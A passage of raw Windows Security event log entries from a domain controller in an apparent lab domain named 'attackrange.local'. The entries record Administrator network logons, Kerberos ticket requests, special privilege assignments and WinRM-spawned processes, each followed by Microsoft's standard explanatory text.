Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253416 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {D3D716DE-A45A-CF27-0648-26F1CEADD5DC} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253415 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {D3D716DE-A45A-CF27-0648-26F1CEADD5DC} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253414 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253413 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1AF91F - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1148 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x133c - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253412 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1AF91F - -Process Information: - New Process ID: 0x133c - New Process Name: C:\Windows\System32\winrshost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1e0 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\WinrsHost.exe -Embedding - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253411 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1AF91F - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253410 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1AF91F - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {D3D716DE-A45A-CF27-0648-26F1CEADD5DC} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253409 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {D3D716DE-A45A-CF27-0648-26F1CEADD5DC} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253408 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {D3D716DE-A45A-CF27-0648-26F1CEADD5DC} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253407 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253406 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1AF720 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253405 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1A4EEB - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253404 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1A596A - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253403 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1AF720 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253402 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1AF720 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {D3D716DE-A45A-CF27-0648-26F1CEADD5DC} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253401 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {D3D716DE-A45A-CF27-0648-26F1CEADD5DC} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253400 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {D3D716DE-A45A-CF27-0648-26F1CEADD5DC} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253399 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253398 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1AF6C8 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253397 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1AF6C8 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253396 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1AF6C8 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {D3D716DE-A45A-CF27-0648-26F1CEADD5DC} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253395 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {D3D716DE-A45A-CF27-0648-26F1CEADD5DC} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253394 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {D3D716DE-A45A-CF27-0648-26F1CEADD5DC} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253393 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253392 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1AA874 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253391 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1AA018 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253390 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1A5EAC - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253463 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1B46FA - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x964 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xff4 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253462 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1B46FA - -Process Information: - New Process ID: 0xff4 - New Process Name: C:\Windows\System32\winrshost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1e0 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\WinrsHost.exe -Embedding - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 